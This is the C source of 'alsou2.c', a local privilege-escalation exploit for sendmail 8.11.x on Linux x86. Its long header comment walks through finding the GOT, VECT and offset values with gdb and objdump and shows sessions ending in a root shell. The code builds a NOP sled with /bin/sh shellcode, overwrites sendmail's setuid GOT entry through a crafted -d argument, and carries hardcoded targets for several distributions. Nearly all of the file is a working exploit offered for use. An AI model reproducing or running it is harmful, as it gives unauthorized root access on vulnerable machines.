/*
 * alsou2.c
 * 
 * This is the 'alsou.c' sendmail 8.11.x xploit with some very slight modifications:
 *
 * - extensive documentation and example on how to get this to work on several distros / sm versions 
 * - working on default SuSE 7.2 (sendmail 8.11.3):
 * 
 *    roman@stuka:~ > gcc -o alsou2 alsou2.c
 *    roman@stuka:~ > ./alsou2
 *	  Offset=2500
 *	  Recipient names must be specified
 *    <ctrl-c>
 *	  sh-2.05#
 *
 * - also included working parameters for SuSE 6.4 with *custom compiled* sendmail 8.11.2:
 *
 *    [change the #define lines: comment and uncomment the corresponding lines]
 *    roman@emilio:~ > gcc -o alsou2 alsou2.c
 *    roman@emilio:~ > ./alsou2
 *    Offset=1500
 *    Recipient names must be specified
 *    <ctrl-c>
 *    sh-2.03#
 * 
 * - allows to give offset in command line. Use with 'smxploit' script in order to find correct offset.
 * This will be necessary in different distros / sendmail versions to find VECT, GOT and OFFSET parameters.
 * Please read carefully the following section.
 *
 *
 * QUICK GUIDE for finding propper exploitation values
 * ===================================================
 *
 * ==> CASE A: Non-stripped binary:
 *
 * 1.- Find VECT and GOT using gdb (as explained in alsou.c original comments). Note that you cannot directly
 * debug /usr/sbin/sendmail being setuid by root from a non-root account. In this case you'll simply have to:
 * $ cp /usr/sbin/sendmail /tmp/sendmail
 * $ gdb -q /tmp/sendmail
 * ...
 * 
 * (thanks to grange for the tip)
 *
 * 2.- Use 'smxploit' script to find the offset:
 *
 *    [modify source and include VECT and GOT values found on step one]
 *    roman@emilio:~ > gcc -o alsou2 alsou2.c
 *    roman@emilio:~ > ./smxploit 500 3500 1000
 *    Trying from 500 to 3500 incrementing by 1000
 *    Offset=500
 *    Recipient names must be specified
 *    <ctrl-c>
 *    ./smxploit: line 10: 31767 Violación de segmento   ./alsou2 $OFFSET
 *    Offset=1500
 *    Recipient names must be specified
 *    <ctrl-c>
 *    sh-2.03#
 * 
 *  You'll have to press ctrl-c several times. Yes, this could be improved... but do it by yourself :-)
 * 
 *
 * ==> CASE B: Stripped binary (this is the default on several distros):
 *
 * 1.- Find VECT and GOT:
 *
 *    roman@stuka:~ > id               
 *    uid=501(roman) gid=100(users) grupos=100(users)
 *    roman@stuka:~ > cp /usr/sbin/sendmail /tmp/sendmail
 *    roman@stuka:~ > objdump -d /tmp/sendmail >sm
 *    objdump: /tmp/sendmail: no symbols
 *
 *    [first we try:]
 *    roman@stuka:~ > grep "mov.*%.*,(%.*,%.*,1)" sm | wc -l          
 *         88
 *    [too many found mov's but anyway:]
 *    roman@stuka:~ > grep -A 1 -B 1 "mov.*%.*,(%.*,%.*,1)" sm | less
 *    ...
 *    --
 *     8095f53:       a1 80 1a 17 08          mov    0x8171a80,%eax
 *     ^^^^^^^                                       ^^^^^^^^^
 *     8095f58:       88 1c 06                mov    %bl,(%esi,%eax,1)
 *     8095f5b:       46                      inc    %esi
 *    -
 *    ...
 *    [we've determined that we can set the breakpoint at 0x8095f53 and do the x/x 0x8171a80]
 *
 *    [another possible way:]
 *    roman@stuka:~ > grep "mov.*%.l,(%e.i,%eax,1)" sm
 *     8095f58:       88 1c 06                mov    %bl,(%esi,%eax,1)
 *     811a212:       88 14 07                mov    %dl,(%edi,%eax,1)
 *     811dcf4:       88 0c 06                mov    %cl,(%esi,%eax,1)
 *    [and now we have only three possible mov's ;-)]
 *
 *    roman@stuka:~ > gdb -q /tmp/sendmail
 *    (no debugging symbols found)...(gdb) break *0x8095f53
 *    Breakpoint 1 at 0x8095f53
 *    (gdb) r -d1-1.1
 *    Starting program: /tmp/sendmail -d1-1.1
 *    (no debugging symbols found)...(no debugging symbols found)...
 *    (no debugging symbols found)...(no debugging symbols found)...
 *    (no debugging symbols found)...(no debugging symbols found)...
 *    (no debugging symbols found)...(no debugging symbols found)...
 *    (no debugging symbols found)...(no debugging symbols found)...
 *    (no debugging symbols found)...
 *    Breakpoint 1, 0x8095f53 in getopt ()
 *    (gdb) x/x 0x8171a80
 *    0x8171a80 <stdin+82400>:        0x0817cec0
 *                                    ^^^^^^^^^^
 *    [so we have VECT=0x0817cec0]
 *    (gdb) quit
 *    The program is running.  Exit anyway? (y or n) y
 *    roman@stuka:~ > objdump -R /tmp/sendmail | grep setuid         
 *    0815d358 R_386_JUMP_SLOT   setuid
 *    ^^^^^^^^
 *    [so GOT=0x0815d358]
 *    roman@stuka:~ >
 *    [now we re-compile this source with a default OFFSET=1000]
 *
 * 2.- Find OFFSET:
 *
 *    roman@stuka:~ > ./smxploit 500 3500 1000 
 *    Trying from 500 to 3500 incrementing by 1000
 *    Offset=500
 *    Recipient names must be specified
 *    <ctrl-c>
 *    ./smxploit: line 10: 27273 Violacisn de segmento   ./alsou2 $OFFSET
 *    Offset=1500
 *    Recipient names must be specified
 *    <ctrl-c>
 *    ./smxploit: line 10: 27275 Violacisn de segmento   ./alsou2 $OFFSET
 *    Offset=2500
 *    Recipient names must be specified
 *    <ctrl-c>
 *    sh-2.05#
 * [so we have OFFSET=2500. And we're r00t :-)]
 *
 * 
 * RoMaNSoFt <roman@deathsdoor.com>
 * Spain, 26.08.2001
 *
 * ---------------------------------------------
 * [ Original alsou.c comments ]
 *
 * sendmail-8.11.x linux x86 exploit
 *
 * To use this exploit you should know two numbers: VECT and GOT.
 * Use gdb to find the first:
 *
 * $ gdb -q /usr/sbin/sendmail 
 * (gdb) break tTflag 
 * Breakpoint 1 at 0x8080629
 * (gdb) r -d1-1.1
 * Starting program: /usr/sbin/sendmail -d1-1.1
 *
 * Breakpoint 1, 0x8080629 in tTflag ()
 * (gdb) disassemble tTflag
 * .............
 * 0x80806ea <tTflag+202>: dec    %edi
 * 0x80806eb <tTflag+203>: mov    %edi,0xfffffff8(%ebp)
 * 0x80806ee <tTflag+206>: jmp    0x80806f9 <tTflag+217>
 * 0x80806f0 <tTflag+208>: mov    0x80b21f4,%eax
 *                               ^^^^^^^^^^^^^^^^^^ address of VECT
 * 0x80806f5 <tTflag+213>: mov    %bl,(%esi,%eax,1)
 * 0x80806f8 <tTflag+216>: inc    %esi
 * 0x80806f9 <tTflag+217>: cmp    0xfffffff8(%ebp),%esi
 * 0x80806fc <tTflag+220>: jle    0x80806f0 <tTflag+208>
 * .............
 * (gdb) x/x 0x80b21f4
 * 0x80b21f4 <tTvect>:     0x080b9ae0
 *                        ^^^^^^^^^^^^^ VECT
 *
 * Use objdump to find the second:
 * $ objdump -R /usr/sbin/sendmail |grep setuid
 * 0809e07c R_386_JUMP_SLOT   setuid
 * ^^^^^^^^^ GOT
 *
 * Probably you should play with OFFSET to make exploit work.
 * 
 * Constant values, written in this code found for sendmail-8.11.4
 * on RedHat-6.2. For sendmail-8.11.0 on RedHat-6.2 try VECT = 0x080b9ae0 and
 * GOT = 0x0809e07c.
 *
 * To get r00t type ./alsou and then press Ctrl+C.
 * 
 *
 * grange <grange@rt.mipt.ru>
 *
 */
 
#include <sys/types.h>
#include <stdlib.h>

/* SuSE 7.2 Default (sendmail 8.11.3) */
#define OFFSET 2500
#define VECT 0x0817cec0
#define GOT 0x0815d358

/* SuSE 6.4 with (custom) sendmail 8.11.2
 * (note SuSE 6.4 *default* is not vulnerable because it ships sendmail 8.9.3 which is not vulnerable) */
// #define OFFSET 1500
// #define VECT 0x080bdbe0
// #define GOT 0x080a2200

/* RedHat 6.2 with sendmail 8.11.4 */
// #define OFFSET 1000
// #define VECT 0x080baf20
// #define GOT 0x0809f544

#define NOPNUM 1024

char shellcode[] =
	"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
	"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
	"\xc0\x88\x43\x07\x89\x5b\x08\x89"
	"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
	"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
	"/bin/sh";

unsigned int get_esp()
{
	__asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
	char *egg, s[256], tmp[256], *av[3], *ev[2];
	unsigned int got = GOT, vect = VECT, ret, first, last, i, offset;

	egg = (char *)malloc(strlen(shellcode) + NOPNUM + 5);
	if (egg == NULL) {
		perror("malloc()");
		exit(-1);
	}
	sprintf(egg, "EGG=");
	memset(egg + 4, 0x90, NOPNUM);
	sprintf(egg + 4 + NOPNUM, "%s", shellcode);

	if(argc > 1)
		offset = atoi(argv[1]);
	else
     		offset = OFFSET;
    
	printf("Offset=%d\n", offset);
   
	ret = get_esp() + offset;

	sprintf(s, "-d");
	first = -vect - (0xffffffff - got + 1);
	last = first;
	while (ret) {
		i = ret & 0xff;
		sprintf(tmp, "%u-%u.%u-", first, last, i);
		strcat(s, tmp);
		last = ++first;
		ret = ret >> 8;
	}
	s[strlen(s) - 1] = '\0';

	av[0] = "/usr/sbin/sendmail";
	av[1] = s;
	av[2] = NULL;
	ev[0] = egg;
	ev[1] = NULL;
	execve(*av, av, ev);
}

